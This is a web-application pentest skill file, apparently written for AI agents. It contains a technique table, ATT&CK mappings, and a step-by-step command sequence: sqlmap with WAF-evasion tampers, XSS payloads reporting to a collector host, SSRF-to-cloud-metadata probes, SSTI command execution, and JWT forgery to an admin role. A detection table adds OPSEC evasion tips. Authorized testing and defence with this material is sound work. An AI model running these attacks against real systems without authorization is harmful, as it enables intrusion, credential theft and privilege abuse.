技能创建器
skill-creator
创建、改进和评估自定义技能,把专业流程转化为可重复使用的 AI 能力。
web-pentest【数据与研究】Use when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race
独立 GitHub 快照 · 自动分类 · 以原作者文档为准
name: web-pentest description: Use when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race metadata: type: offensive phase: exploitation tools: burpsuite, sqlmap, ffuf, feroxbuster, nuclei, httpx, curl, wfuzz, dalfox, commix, jwt_tool, ysoserial, http-request-smuggler mitre: [T1190, T1059, T1552.005, T1078, T1539, T1505.003] kill_chain: phase: [delivery, exploit] step: [3, 4] attck_tactics: [TA0001, TA0002] attck_techniques: [T1190, T1059.007, T1552.005, T1078, T1539, T1505.003, T1557] depends_on: [recon-osint, vulnerability-analysis] feeds_into: [exploit-development, cloud-security, network-attack] inputs: [attack_surface_map, technology_fingerprint] outputs: [finding_record, web_vulnerability_list] references:
Fast test selection — map an observed parameter/behavior to the right deep-dive:
| Input signal you observe | Test for | Go to |
|---|---|---|
id, uid, order_id, account, GUID/sequential ref | IDOR/BOLA, access control | references/auth-api-access-control.md |
url, next, callback, dest, webhook, image_url | SSRF + cloud metadata, open redirect, OAuth chain | references/ssrf-cloud-metadata.md |
price, qty, coupon, balance, status, state change | business logic + single-packet race | references/http-desync-cache.md (race) |
| template/preview/name reflected in output | SSTI -> RCE, reflected XSS | references/ssti-deserialization.md |
search/filter/sort reflected; q=, error echoes input | SQLi, XSS, command injection | references/injection-sqli-cmdi.md |
token, jwt, Authorization, Cookie, OAuth state | JWT forgery, session/OAuth flaws | references/auth-api-access-control.md |
empty/missing/session=; login accepts no creds; user[$ne]= | auth-check tampering (empty/null/NoSQL/type-juggle/HPP), token prediction | references/auth-api-access-control.md |
serialized blob / base64 object / __proto__ | deserialization, prototype pollution | references/ssti-deserialization.md |
behind CDN/cache; X-Forwarded-*; keyed params | desync (0.CL/TE.0), cache poisoning | references/http-desync-cache.md |
| Technique | ATT&CK | CWE | Reference | Script |
|---|---|---|---|---|
| SQL injection (UNION/blind/NoSQL) | T1190 | CWE-89 | references/injection-sqli-cmdi.md | scripts/ssrf_toolkit.py (probe pattern) / sqlmap |
| OS command / argument injection | T1059 | CWE-78 / CWE-88 | references/injection-sqli-cmdi.md | - |
| Reflected/stored/DOM XSS | T1059.007 | CWE-79 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |
| CSP bypass / script gadgets | T1059.007 | CWE-1021 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |
| Client-side prototype pollution -> XSS | T1059.007 | CWE-1321 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |
| SSRF + cloud metadata theft | T1552.005 | CWE-918 | references/ssrf-cloud-metadata.md | scripts/ssrf_toolkit.py |
| IMDSv2 bypass (Axios gadget) | T1552.005 | CWE-113 | references/ssrf-cloud-metadata.md | scripts/proto_ssti_gadgets.py |
| HTTP request smuggling / desync | T1190 | CWE-444 | references/http-desync-cache.md | scripts/desync_probe.py |
| Web cache poisoning / deception | T1557 | CWE-525 | references/http-desync-cache.md | scripts/desync_probe.py |
| SSTI -> RCE (Jinja2/Twig/FM/...) | T1059 | CWE-1336 | references/ssti-deserialization.md | scripts/proto_ssti_gadgets.py |
| Server-side prototype pollution -> RCE | T1059 | CWE-1321 | references/ssti-deserialization.md | scripts/proto_ssti_gadgets.py |
| Insecure deserialization (Java/.NET/PHP) | T1059 | CWE-502 | references/ssti-deserialization.md | ysoserial / ysoserial.net |
| JWT forgery (none/confusion/jku/jwk/kid) | T1078 | CWE-347 | references/auth-api-access-control.md | scripts/jwt_forge.py |
| Auth-check tampering (empty/null/NoSQL-op/type-juggle/HPP) | T1556 | CWE-287 / CWE-697 / CWE-943 | references/auth-api-access-control.md | - |
| Session token prediction (weak PRNG/entropy) | T1539 | CWE-330 | references/auth-api-access-control.md | scripts/session_entropy.py |
| OAuth/OIDC/SAML auth bypass | T1078 | CWE-287 | references/auth-api-access-control.md | scripts/jwt_forge.py |
| GraphQL abuse (batch/alias/depth) | T1190 | CWE-770 | references/auth-api-access-control.md | scripts/graphql_audit.py |
| IDOR / BOLA / mass assignment | T1078 | CWE-639 / CWE-915 | references/auth-api-access-control.md | - |
| Race condition (single-packet) | T1190 | CWE-362 | references/auth-api-access-control.md | scripts/race_single_packet.py |
| Business-logic abuse (price/refund/workflow/race) | T1539 | CWE-841 | references/business-logic-abuse.md | scripts/race_single_packet.py |
| HTTP Parameter Pollution (HPP) | T1190 | CWE-235 / CWE-88 | references/injection-sqli-cmdi.md | - |
| File-upload -> webshell / RCE | T1505.003 | CWE-434 | references/injection-sqli-cmdi.md | - |
# 0. Intake from recon-osint: hosts, tech fingerprint, endpoints, params.
# Spider + content discovery
ffuf -u https://t/FUZZ -w raft-large.txt -mc all -fc 404 -o ffuf.json
nuclei -u https://t -severity critical,high -tags cve,exposure,misconfig
# 1. Injection — automated SQLi, manual cmdi
sqlmap -r request.txt --batch --level 3 --risk 2 --tamper=between,space2comment
# 2. XSS / CSP
python3 scripts/xss_csp_forge.py contexts --collector atk.tld
python3 scripts/xss_csp_forge.py csp "$(curl -sI https://t | grep -i content-security)"
# 3. SSRF -> cloud metadata
python3 scripts/ssrf_toolkit.py probe "https://t/api/fetch?url=FUZZ" --collab abc.oast.fun
python3 scripts/ssrf_toolkit.py cloud --provider aws
# 4. HTTP desync (2024-2026 vectors: cl0/expect/options/te0)
python3 scripts/desync_probe.py https://t --probe all --verbose
# 5. SSTI / prototype pollution / deserialization
python3 scripts/proto_ssti_gadgets.py detect
python3 scripts/proto_ssti_gadgets.py ssti --engine jinja2 --cmd "id"
python3 scripts/proto_ssti_gadgets.py proto --cmd "id"
# 6. Auth & API
python3 scripts/jwt_forge.py hs-confuse "$JWT" --pubkey pub.pem --claim role=admin
python3 scripts/graphql_audit.py introspect https://t/graphql
# 7. Logic / race
python3 scripts/race_single_packet.py https://t/redeem -d "code=X" -n 30 -H "Cookie: s=..."
# -> feed each confirmed issue into templates/exploit/findings/ with
# severity, CWE, CVSS, PoC, evidence, ATT&CK ID, remediation.
| Technique | Telemetry / IOC | Detection (Sigma/EDR) | OPSEC note |
|---|---|---|---|
| SQLi / cmdi | SQL keywords, SLEEP/WAITFOR, web-svc spawning sh/curl | webserver regex Sigma; EDR child-shell from www-data | time-based is slow+noisy; --random-agent --delay, in-band reads first |
| XSS / CSP / client-PP | <script, onerror=, __proto__ in params; CSP report-uri hits | webserver regex; Trusted-Types violation alerts | persistent __proto__ can break shared cached pages — avoid |
| SSRF / metadata | hits to 169.254.169.254 / metadata hosts from app tier | proxy Sigma; GuardDuty credential-exfil | stop at proving token retrieval; rotate collaborator subdomains |
| HTTP desync / cache | CL+TE together, obs-fold, Expect on OPTIONS to CDN | proxy Sigma; reject ambiguous framing | poisons co-tenant traffic — scoped only, never POST-smuggle prod |
| SSTI / PP / deser | {{ }}/${ }, NODE_OPTIONS, rO0AB, JNDI egress | webserver/body Sigma; EDR java->LDAP/RMI | id probe first; reverse shells trip EDR; revert polluted config |
| JWT / OAuth / GraphQL | alg:none, unknown jku/kid, multi-op GraphQL body | app Sigma; failed-verify spikes | forged-JWT attempts alert; cap GraphQL brute wordlist/rate |
| Race (single-packet) | burst of near-simultaneous mutating requests | rate-by-endpoint Sigma in 1s window | keep -n low; document state mutated for cleanup |
redact_headers.py) at the data boundary.